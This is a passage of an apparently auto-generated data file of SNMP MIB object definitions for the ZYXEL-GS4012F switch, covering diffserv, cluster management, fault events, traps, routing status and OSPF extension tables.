"oid" : "1.3.6.1.4.1.890.1.5.8.20.34",
}, # node
"diffservState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"diffservMapTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.2",
"status" : "current",
"description" :
"""""",
}, # table
"diffservMapEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.2.1",
"status" : "current",
"linkage" : [
"diffservMapDscp",
],
"description" :
"""An entry in diffservMapTable.""",
}, # row
"diffservMapDscp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""0-63""",
}, # column
"diffservMapPriority" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""0-7""",
}, # column
"diffservPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.3",
"status" : "current",
"description" :
"""""",
}, # table
"diffservPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.3.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in diffservPortTable.""",
}, # row
"diffservPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.34.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"clusterSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35",
}, # node
"clusterManager" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1",
}, # node
"clusterMaxNumOfManager" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"clusterManagerTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.2",
"status" : "current",
"description" :
"""""",
}, # table
"clusterManagerEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"clusterManagerVid",
],
"description" :
"""An entry in clusterManagerTable.""",
}, # row
"clusterManagerVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterManagerName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"clusterManagerRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.1.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"clusterMembers" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2",
}, # node
"clusterMaxNumOfMember" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"clusterMemberTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"clusterMemberEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1",
"create" : "true",
"status" : "current",
"linkage" : [
"clusterMemberMac",
],
"description" :
"""An entry in clusterMemberTable.""",
}, # row
"clusterMemberMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "noaccess",
"description" :
"""""",
}, # column
"clusterMemberName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterMemberModel" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterMemberPassword" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"clusterMemberRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.2.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"clusterCandidates" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3",
}, # node
"clusterCandidateTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3.1",
"status" : "current",
"description" :
"""""",
}, # table
"clusterCandidateEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3.1.1",
"status" : "current",
"linkage" : [
"clusterCandidateMac",
],
"description" :
"""An entry in clusterCandidateTable.""",
}, # row
"clusterCandidateMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterCandidateName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterCandidateModel" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.3.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4",
}, # node
"clusterStatusRole" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"manager" : {
"nodetype" : "namednumber",
"number" : "1"
},
"member" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"clusterStatusManager" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"clsuterStatusMaxNumOfMember" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"clusterStatusMemberTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4",
"status" : "current",
"description" :
"""""",
}, # table
"clusterStatusMemberEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4.1",
"status" : "current",
"linkage" : [
"clusterStatusMemberMac",
],
"description" :
"""An entry in clusterStatusMemberTable.""",
}, # row
"clusterStatusMemberMac" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterStatusMemberName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterStatusMemberModel" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"clusterStatusMemberStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.35.4.4.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"error" : {
"nodetype" : "namednumber",
"number" : "0"
},
"online" : {
"nodetype" : "namednumber",
"number" : "1"
},
"offline" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"faultMIB" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36",
"status" : "current",
}, # node
"eventObjects" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1",
}, # node
"eventTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1",
"status" : "current",
"description" :
"""A list of currently active fault events. All faults
of normal type regardless of their severity level
are recorded in the event table. When a normal
type fault is cleared it is deleted from the event
table.""",
}, # table
"eventEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1",
"status" : "current",
"linkage" : [
"eventSeqNum",
],
"description" :
"""An entry containing information about an
event in the event table.""",
}, # row
"eventSeqNum" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""This variable represents the sequence number of an event.
Sequence number is incremented monotonically starting
from 0 until it reaches its maximum and wraps around back
to 0.
Sequence number is incremented when
- the state of a normal type fault is set on (the same sequence
number is present in the events table as well as in the trap
that is sent to notify about the fault on event)
- delta event occurs (sequence number present in trap message)
- the state of a normal type fault is set off (sequence number
present in trap that is sent to notify for clearing).""",
}, # column
"eventEventId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "EventIdNumber"},
},
"access" : "readonly",
"description" :
"""This variable represents the event ID which uniquely
identifies the event in the entire system.""",
}, # column
"eventName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"parent module" : {
"name" : "RFC1213-MIB",
"type" : "DisplayString",
},
"ranges" : [
{
"min" : "0",
"max" : "40"
},
],
"range" : {
"min" : "0",
"max" : "40"
},
},
},
"access" : "readonly",
"description" :
"""This variable represents the name of the event, for
example 'Ethernet Link Down'""",
}, # column
"eventInstanceType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "InstanceType"},
},
"access" : "readonly",
"description" :
"""This variable represents the type of InstanceId of a
particular event in the event table. In brief
the instanceType refers to the type of sub-component
generating this event in the system, for example
switch (5). For more details see the textual
conventions section.
AFFECTS: eventInstanceId,
eventInstanceName""",
}, # column
"eventInstanceId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""This variable represents the InstanceId of a particular
event in the event current table. In brief the instanceId
refers to the sub-component generating this event in the
system, for example '1' for port 1. For more details see
the textual conventions section.
DEPENDS ON: eventInstanceType""",
}, # column
"eventInstanceName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""This variable is mainly used to store additional information
about the sub-component that is generating an event. For
example this field may specify what cooling fan is faulty.
DEPENDS ON: eventInstanceType""",
}, # column
"eventSeverity" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "EventSeverity"},
},
"access" : "readonly",
"description" :
"""This variable dictates the urgency of action when a event
occurs. There are four severity levels - Critical, Major,
Minor, and Informational. Critical events are those, which
require immediate operator intervention to prevent/reduce
system down time. Major events require quick attention and
Minor events possibly require some attention. Informational
events indicate the occurrence of events that may need to be
investigated.""",
}, # column
"eventSetTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "UtcTimeStamp"},
},
"access" : "readonly",
"description" :
"""This table contains only normal events and this variable
represents the time when the event become active, i.e. the
number of seconds since Jan 1, 1970 12:00AM.""",
}, # column
"eventDescription" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.9",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "OctetString",
"parent module" : {
"name" : "RFC1213-MIB",
"type" : "DisplayString",
},
"ranges" : [
{
"min" : "0",
"max" : "255"
},
],
"range" : {
"min" : "0",
"max" : "255"
},
},
},
"access" : "readonly",
"description" :
"""This variable contains a description of the event and reasons
behind the event. This is a free format alpha-numeric string
that is set by the entity generating this event. This variable
may be empty if there is no usefull information to report.
The maximum length of this string is 255 characters.""",
}, # column
"eventServAffective" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.36.1.1.1.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "EventServiceAffective"},
},
"access" : "readonly",
"description" :
"""This variable indicates whether the event is service affective or not""",
}, # column
"faultTrapsMIB" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37",
"status" : "current",
}, # node
"trapInfoObjects" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.1",
}, # node
"trapRefSeqNum" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Indicates the former sequence number of a cleared event
in the event table. Not intended to read but only used in
trap notifications.""",
}, # scalar
"trapPersistence" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"ZYXEL-GS4012F-MIB", "name" : "EventPersistence"},
},
"access" : "readonly",
"description" :
"""Indicates whether the event is delta (automatically and
immediately cleared) or normal (not automatically cleared).
Not intended to read but only used in trap notifications.""",
}, # scalar
"trapSenderNodeId" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Represents the node ID of the sending network element. If not
supported should be set to 0. Not intended to read but only
used in trap notifications.""",
}, # scalar
"trapNotifications" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.37.2",
}, # node
"ipStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38",
}, # node
"ipStatusTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1",
"status" : "current",
"description" :
"""""",
}, # table
"ipStatusEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1.1",
"status" : "current",
"linkage" : [
"ipStatusIPAddress",
"ipStatusVid",
],
"description" :
"""""",
}, # row
"ipStatusIPAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipStatusVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipStatusPort" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ipStatusType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.38.1.1.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"static" : {
"nodetype" : "namednumber",
"number" : "1"
},
"dynamic" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatus" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39",
}, # node
"routingStatusTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1",
"status" : "current",
"description" :
"""""",
}, # table
"routingStatusEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1",
"status" : "current",
"linkage" : [
"routingStatusDestAddress",
],
"description" :
"""""",
}, # row
"routingStatusDestAddress" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatusDestMaskbits" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatusGateway" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatusInterface" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatusMetric" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"routingStatusType" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.39.1.1.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"rip" : {
"nodetype" : "namednumber",
"number" : "1"
},
"bgp" : {
"nodetype" : "namednumber",
"number" : "2"
},
"ospf" : {
"nodetype" : "namednumber",
"number" : "3"
},
"static" : {
"nodetype" : "namednumber",
"number" : "4"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfExt" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40",
}, # node
"ospfInterfaceTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1",
"status" : "current",
"description" :
"""""",
}, # table
"ospfInterfaceEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1",
"status" : "current",
"linkage" : [
"ospfIfIpAddress",
"ospfAddressLessIf",
],
"description" :
"""""",
}, # row
"ospfIfKeyId" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfIfMaskbits" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfIfDesignatedRouterID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfIfBackupDesignatedRouterID" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfIfNbrCount" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfIfAdjacentNbrCount" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfIfHelloDueTime" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.1.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfAreaExtTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.2",
"status" : "current",
"description" :
"""""",
}, # table
"ospfAreaExtEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.2.1",
"status" : "current",
"linkage" : [
"ospfAreaId",
],
"description" :
"""""",
}, # row
"ospfAreaExtName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfRedistributeRouteTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3",
"status" : "current",
"description" :
"""""",
}, # table
"ospfRedistributeRouteEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3.1",
"status" : "current",
"linkage" : [
"ospfRedistributeRouteProtocol",
],
"description" :
"""""",
}, # row
"ospfRedistributeRouteProtocol" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"rip" : {
"nodetype" : "namednumber",
"number" : "1"
},
"static" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"ospfRedistributeRouteState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.40.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ospfRedistributeRouteType" : {
